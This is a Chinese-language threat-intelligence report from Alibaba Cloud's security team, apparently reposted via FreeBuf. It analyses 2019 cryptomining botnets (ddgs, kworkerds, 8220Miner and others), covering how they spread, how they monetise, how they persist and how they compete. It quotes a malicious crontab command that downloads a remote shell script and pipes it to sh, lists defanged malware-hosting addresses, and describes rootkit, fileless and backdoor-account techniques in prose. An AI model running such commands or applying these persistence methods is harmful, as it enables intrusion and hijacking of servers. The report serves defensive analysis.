信息來(lái)源:FreeBuf.com
前言
比特幣等虛擬貨幣在2019年迎來(lái)了久違的大幅上漲,從最低3000美元上漲至7月份的14000美元,漲幅達(dá)300%,巨大的金錢(qián)誘惑使得更多的黑產(chǎn)團(tuán)伙加入了惡意挖礦的行列。阿里云安全團(tuán)隊(duì)通過(guò)對(duì)云上僵尸網(wǎng)絡(luò)家族的監(jiān)控,發(fā)現(xiàn)惡意挖礦已成為黑產(chǎn)團(tuán)伙主要的牟利方式。2019年共監(jiān)控到58個(gè)成規(guī)模的挖礦木馬團(tuán)伙(數(shù)據(jù)截止到8月底),以累積感染量定義木馬活躍度,下圖/表是活躍TOP10的木馬家族及簡(jiǎn)介。本文嘗試從宏觀角度分析、總結(jié)挖礦木馬常用技術(shù)及發(fā)展趨勢(shì),以期能夠給企業(yè)安全防護(hù)帶來(lái)啟示。
核心觀點(diǎn)
1.木馬投放方式全面蠕蟲(chóng)化,多種漏洞組合攻擊成為趨勢(shì),N-day漏洞利用速度在加快
這種趨勢(shì)無(wú)疑令人異常擔(dān)憂,意味著挖礦木馬的傳播能力在大幅增強(qiáng),變得無(wú)孔不入。一旦企業(yè)的信息系統(tǒng)存在任意可被利用的漏洞,那么企業(yè)內(nèi)網(wǎng)將會(huì)快速淪陷,挖礦行為會(huì)搶占CPU資源,嚴(yán)重影響企業(yè)信息系統(tǒng)運(yùn)行。這對(duì)企業(yè)的漏洞管理和安全防御能力有了更高、更快的要求。
2.木馬持久化技術(shù)被成熟利用,rootkit、無(wú)文件技術(shù)成為趨勢(shì)
挖礦木馬入侵成功后必定希望能夠長(zhǎng)久穩(wěn)定的挖掘出虛擬貨幣,其技術(shù)上使用rootkit、無(wú)文件等技術(shù)實(shí)現(xiàn)長(zhǎng)期、隱蔽運(yùn)行。對(duì)于一般的運(yùn)維人員,系統(tǒng)一旦中招后,頑固木馬是難以清除的,這需要企業(yè)具備更專(zhuān)業(yè)的安全應(yīng)急響應(yīng)能力。
3.木馬開(kāi)始出現(xiàn)跨平臺(tái)趨勢(shì)
Golang語(yǔ)言天生具備跨平臺(tái)編譯能力,這個(gè)特點(diǎn)方便黑產(chǎn)團(tuán)伙在多平臺(tái)間移植,新出現(xiàn)的惡意軟件使用GO也成為了一種趨勢(shì)。TOP10中有6個(gè)是2019年爆發(fā)的挖礦木馬,其中有5個(gè)是GO語(yǔ)言實(shí)現(xiàn)的,MinerGuard和kworkerds已具備了Linux/Windows雙平臺(tái)傳播的能力。
工欲善,利其器-攻擊之術(shù)
全網(wǎng)漏洞掃描/投放->蠕蟲(chóng)化投放
1、利用單一或多個(gè)IP攻擊全網(wǎng)漏洞進(jìn)行投放
這種投放方式較為原始,無(wú)橫向傳播能力,效率比較低下,且容易被防御攔截。在我們的監(jiān)控中,使用這種方式的木馬規(guī)模普遍較小。例如:8220Miner固定使用多個(gè)國(guó)外IP進(jìn)行持續(xù)攻擊,會(huì)定期更換IP,但更換頻率較低。而ddsMiner通過(guò)sqlserver入侵,攻擊載荷會(huì)下載名為dds.exe的PE文件(如:http://113[.]69[.]206[.]219:4523/dds.exe),該團(tuán)伙每天至少使用1個(gè)新的IP進(jìn)行全網(wǎng)攻擊,攻擊時(shí)間持續(xù)數(shù)小時(shí),該IP也是當(dāng)天的惡意文件托管站。
2、蠕蟲(chóng)化投放
蠕蟲(chóng)化的挖礦botnet具備攻擊模塊,掃描并感染網(wǎng)絡(luò)上的其他服務(wù)器,使用這種方式進(jìn)行傳播會(huì)按照指數(shù)增長(zhǎng)的速度擴(kuò)張,且這種方式會(huì)使得溯源和防御變得更加困難。TOP10中2019年爆發(fā)的幾個(gè)挖礦botnet全部使用蠕蟲(chóng)化投放方式,他們都是在短時(shí)間內(nèi)(幾天時(shí)間)得到快速擴(kuò)張躋身TOP10。
單一漏洞利用->組合漏洞橫向傳播
早期的挖礦木馬使用固定漏洞在公網(wǎng)傳播,傳播速度和規(guī)模受限。而使用多種漏洞組合攻擊的方式使得挖礦木馬具備了內(nèi)網(wǎng)橫向傳播的能力,攻擊模塊會(huì)集成通用的WEB服務(wù)漏洞、爆破、數(shù)據(jù)庫(kù)漏洞等攻擊方式。‘聰明’的挖礦木馬作者更是使用不同的內(nèi)外網(wǎng)攻擊策略,進(jìn)行更高效的傳播。例如:Windows平臺(tái)下的Bulehero挖礦木馬,在內(nèi)網(wǎng)優(yōu)先使用永恒之藍(lán)漏洞、ipc$爆破、RDP爆破進(jìn)行傳播,在公網(wǎng)則優(yōu)先使用Web服務(wù)漏洞進(jìn)行傳播。Linux平臺(tái)下的kerberods挖礦木馬,在內(nèi)網(wǎng)優(yōu)先使用本地ssh key、ssh爆破進(jìn)行傳播。在這種高效策略下,企業(yè)內(nèi)網(wǎng)通常在幾分鐘內(nèi)被全部入侵。
N-day漏洞快速利用
互聯(lián)網(wǎng)大規(guī)模存在且未被修復(fù)的通用漏洞往往成為挖礦僵尸網(wǎng)絡(luò)爭(zhēng)奪的’肥肉’,N-day漏洞爆發(fā)后難以在短時(shí)間內(nèi)得到有效修復(fù),’嗅覺(jué)’靈敏的黑產(chǎn)團(tuán)伙會(huì)很快納入挖礦木馬的武器庫(kù)。據(jù)我們觀察,N-day漏洞留給運(yùn)維人員進(jìn)行修復(fù)的空窗期越來(lái)越短,如Jboss反序列化漏洞于2017年5月被發(fā)現(xiàn),年底JbossMiner開(kāi)始對(duì)其大規(guī)模利用。2018年12月ThinkPhp遠(yuǎn)程代碼執(zhí)行漏洞爆發(fā),十幾天后被BuleHero團(tuán)伙利用進(jìn)行。2019年4月8日Confluence RCE 漏洞利用POC發(fā)布,4月10日就kererods蠕蟲(chóng)就開(kāi)始利用該漏洞大肆傳播,中間只隔了短短兩天。再次對(duì)云平臺(tái)及用戶的快速響應(yīng)能力構(gòu)成嚴(yán)峻考驗(yàn)。
通往財(cái)富之路-牟利之術(shù)
礦池配置方式:
挖礦木馬植入開(kāi)源挖礦程序進(jìn)行挖礦,礦機(jī)程序啟動(dòng)時(shí)通過(guò)命令行傳入挖礦參數(shù),但是這種方式較為原始,釋放出的木馬無(wú)法修改配置參數(shù)。第二種方式使用配置文件下發(fā),結(jié)合定時(shí)任務(wù)實(shí)現(xiàn)對(duì)挖礦參數(shù)的控制,這種使用方式較為常見(jiàn)。以上兩種方式都存在易被檢測(cè)的特點(diǎn),有些黑產(chǎn)團(tuán)伙會(huì)對(duì)開(kāi)源挖礦程序進(jìn)行二次開(kāi)發(fā),將礦機(jī)配置參數(shù)硬編碼在惡意程序中,并進(jìn)行加殼對(duì)抗檢測(cè),以達(dá)到隱蔽挖礦的目的。
挖礦程序命令行配置
通過(guò)配置文件:
MinerGuard礦機(jī)配置文件截圖:
挖礦軟件硬編碼配置 :
ddgs硬編碼的礦池及錢(qián)包地址
挖礦方式:公共礦池->礦池代理
1、公共礦池方式
使用匿名的公共礦池是惡意挖礦最常見(jiàn)的方式,使用方法簡(jiǎn)單,但是由于需要配置獨(dú)立的錢(qián)包地址,因此易被跟蹤溯源,而且對(duì)bot挖礦無(wú)管理能力。
如下圖是在公共礦池上查詢8220Miner的錢(qián)包地址及算力,目前該地址挖掘到15.5個(gè)門(mén)羅幣,可借此估算出該挖礦僵尸網(wǎng)絡(luò)的規(guī)模。
2、礦池代理
有些挖礦僵尸網(wǎng)絡(luò)會(huì)自己搭建礦池代理,通過(guò)代理可降低挖礦難度,也可根據(jù)收益隨時(shí)切換高收益礦池、高收益礦幣種,這種方式無(wú)法通過(guò)錢(qián)包地址進(jìn)行跟蹤。
下圖是監(jiān)控到masscanMiner使用了礦池代理進(jìn)行挖礦,通過(guò)進(jìn)程cmdline可知礦池開(kāi)放在121.42.151.137的28850端口,這并非一公共礦池常用的端口,登陸賬號(hào)也為默認(rèn)賬號(hào)。
其他變現(xiàn)方式:附帶DDos、Socks代理
除了挖礦這種本職工作,有些黑產(chǎn)團(tuán)伙會(huì)順帶通過(guò)其他方式進(jìn)行變現(xiàn),比如DDos、代理等。如下圖是sicMiner惡意樣本會(huì)運(yùn)行一個(gè)python腳本,該腳本是github上開(kāi)源的socks5代理,代理運(yùn)行在7081端口,該團(tuán)伙可能是通過(guò)出售代理進(jìn)行變現(xiàn)。
生存還是毀滅-持久化之術(shù)
挖礦木馬入侵成功后需要長(zhǎng)期駐留于目標(biāo)操作系統(tǒng),以達(dá)到長(zhǎng)期穩(wěn)定地產(chǎn)出虛擬貨幣,通常會(huì)使用各種技術(shù)對(duì)抗安全檢測(cè)和運(yùn)維人員的清除。
清除/卸載安全軟件
卸載宿主機(jī)的安全防護(hù)軟件是常規(guī)操作,由于挖礦的攻擊行為多針對(duì)服務(wù)器,黑產(chǎn)團(tuán)伙也特別針對(duì)云環(huán)境的安全軟件精準(zhǔn)對(duì)抗。如下是kworderds蠕蟲(chóng)在windows、Linux下卸載不同安全軟件的行為。
kworkerds關(guān)閉殺毒軟件
kworkerds挖礦蠕蟲(chóng)卸載安騎士等安全工具
rootkit技術(shù)
1、通過(guò)定時(shí)任務(wù)/計(jì)劃任務(wù)實(shí)現(xiàn)常駐
Linux下的crontab定時(shí)任務(wù)是很多惡意軟件常見(jiàn)的駐留方式,他們并不僅僅會(huì)把自己寫(xiě)入用戶的crontab,還會(huì)寫(xiě)入軟件包的crontab,如/etc/cron.d,這樣使得自己更不容易被發(fā)現(xiàn)。而Windows下則通過(guò)計(jì)劃任務(wù)、修改注冊(cè)表實(shí)現(xiàn)類(lèi)似的駐留方式。如下是ddgs蠕蟲(chóng)惡意進(jìn)程行為通過(guò)crondtab啟動(dòng)。
ddgs通過(guò)CROND定時(shí)任務(wù)啟動(dòng)惡意shell:/bin/sh -c curl -fsSLhttp://218[.]248[.]40[.]228:9999/i.sh?6| sh
2、動(dòng)態(tài)鏈接庫(kù)預(yù)加載型rootkit
Linux下的動(dòng)態(tài)鏈接庫(kù)預(yù)加載機(jī)制在加載其他常規(guī)系統(tǒng)庫(kù)之前就會(huì)預(yù)先加載用戶定義的動(dòng)態(tài)鏈接庫(kù),如果自定義庫(kù)的函數(shù)與系統(tǒng)庫(kù)中找到的函數(shù)具有相同的名稱(chēng),自定義動(dòng)態(tài)鏈接庫(kù)就會(huì)覆蓋系統(tǒng)庫(kù)中的函數(shù)。攻擊者通過(guò)動(dòng)態(tài)連接庫(kù)預(yù)加載,實(shí)現(xiàn)對(duì)libc中諸如readdir等常用函數(shù)的hook,當(dāng)ps、top等shell指令嘗試讀取/proc/目錄獲取進(jìn)程信息時(shí)對(duì)惡意進(jìn)行隱藏。
圖是8220miner使用該技術(shù)劫持linux動(dòng)態(tài)鏈接庫(kù)配置文件/etc/ld.so.preload。
無(wú)文件攻擊技術(shù)
無(wú)文件攻擊不需要將惡意軟件落地到磁盤(pán),因此難以被殺軟查殺,具備更好的隱蔽性。在挖礦僵尸網(wǎng)絡(luò)中通常使用各種工具(比如Windows的WMI命令行工具wmic.exe)或者腳本編程語(yǔ)言(如PowerShell)提供的API接口訪問(wèn)WMI,來(lái)實(shí)現(xiàn)無(wú)文件攻擊。如下是TheHidden使用wmic、WannaMine使用powershell進(jìn)行無(wú)文件攻擊。
TheHidden使用wmic無(wú)文件攻擊的代碼片段
WannaMine的惡意進(jìn)程使用powershell隱藏、編碼功能進(jìn)行無(wú)文件攻擊
文件名/路徑混淆
除了對(duì)抗各種安全工具,還要對(duì)抗運(yùn)維人員的手動(dòng)排查,將文件名和路徑進(jìn)行混淆也是常用的手段。比如ibus會(huì)將惡意文件寫(xiě)入多個(gè)系統(tǒng)目錄下,并且通過(guò)隨機(jī)變更大小寫(xiě)等方式生成和隱藏目錄下文件名類(lèi)似的混淆文件名。
ibus生成在系統(tǒng)目錄下的混淆目錄
ibus生成混淆文件名
c&c通信
由于惡意挖礦行為不需要對(duì)bot進(jìn)行強(qiáng)控制,大部分的挖礦木馬都不具備完備的c&c控制模塊,他們通常使用配置文件結(jié)合定時(shí)任務(wù),實(shí)現(xiàn)對(duì)bot的配置變更和版本更新。在TOP10中只有ddgs和ibus有完備的c&c控制功能。如ddgs,它的c&c通信使用uMsg序列化,能夠?qū)崿F(xiàn)攻擊指令下發(fā)、版本配置更新等功能,在今年1月份的更新中甚至開(kāi)始使用P2P進(jìn)行c&c控制IP的下發(fā)。
ddgs反序列化后的c&c控制指令
ibus的c&c控制模塊的惡意代碼
暗網(wǎng)
從2018年底開(kāi)始挖礦木馬開(kāi)始頻繁使用暗網(wǎng)進(jìn)行惡意文件托管,由于其匿名通信的特點(diǎn)開(kāi)始在惡意軟件中逐漸流行。如下是watchbog蠕蟲(chóng)使用暗網(wǎng)地址下載惡意文件。
watchbog蠕蟲(chóng)使用暗網(wǎng)地址下載惡意文件。
文件類(lèi)型偽裝
為了防止被追蹤溯源,黑客喜歡將惡意文件托管在公開(kāi)的免費(fèi)網(wǎng)站上,他們需要將惡意shell、二進(jìn)制文件偽裝成圖片以防止被檢測(cè)。
將二進(jìn)制/shell文件偽裝成圖片文件是常規(guī)操作
后門(mén)賬號(hào)
除了常規(guī)駐留操作,我們監(jiān)控到多個(gè)挖礦木馬會(huì)在宿主機(jī)上留下后門(mén)賬號(hào),即使木馬被清除掉,黑客也能通過(guò)后門(mén)賬號(hào)再次入侵。
TheHidden添加后門(mén)賬號(hào),賬號(hào)名admin,并對(duì)該賬號(hào)進(jìn)行了隱藏。
watchdog添加后門(mén)ssh key
人在江湖飄怎能不挨刀-資源競(jìng)爭(zhēng)之術(shù)
除了和安全軟件的對(duì)抗,挖礦僵尸網(wǎng)絡(luò)還要面臨同行的競(jìng)爭(zhēng),畢竟CPU資源是有限的,一機(jī)不容二’馬’!
殺死競(jìng)爭(zhēng)進(jìn)程
這幾乎是挖礦木馬的常規(guī)操作,通過(guò)進(jìn)程的指紋庫(kù)判斷其他挖礦進(jìn)程,或者直接殺死CPU占用率高的進(jìn)程。
kerberods進(jìn)行資源競(jìng)爭(zhēng)的進(jìn)程指紋庫(kù)
修改防火墻
修改防火墻的iptables,將存在漏洞的服務(wù)端口關(guān)閉防止其他挖礦木馬入侵?;蛘哧P(guān)閉常見(jiàn)的礦池端口,阻斷競(jìng)爭(zhēng)對(duì)手的挖礦行為。
修改iptables配置進(jìn)行資源競(jìng)爭(zhēng)
修改hosts
通過(guò)修改/etc/hosts將競(jìng)爭(zhēng)對(duì)手的域名、常見(jiàn)礦池域名sinkhole,也是一種資源競(jìng)爭(zhēng)手段。我們也見(jiàn)到了對(duì)應(yīng)的反制措施:判斷/etc/hosts是否被修改過(guò),并重寫(xiě)/etc/hosts進(jìn)行覆蓋。
將競(jìng)爭(zhēng)對(duì)手的域名sinkhole
kthrotldsPretender的反制措施:重寫(xiě)hosts
借助其他botnet
除了以上常規(guī)的競(jìng)爭(zhēng)手段外,借助其他僵尸網(wǎng)絡(luò)進(jìn)行傳播也是一種高明的手段。systemdMiner在今年4月份就曾’借雞下蛋’,通過(guò)入侵ddgs的c&c中控主機(jī)進(jìn)行快速擴(kuò)張。
systemdMiner利用ddgs的中控下發(fā)的shell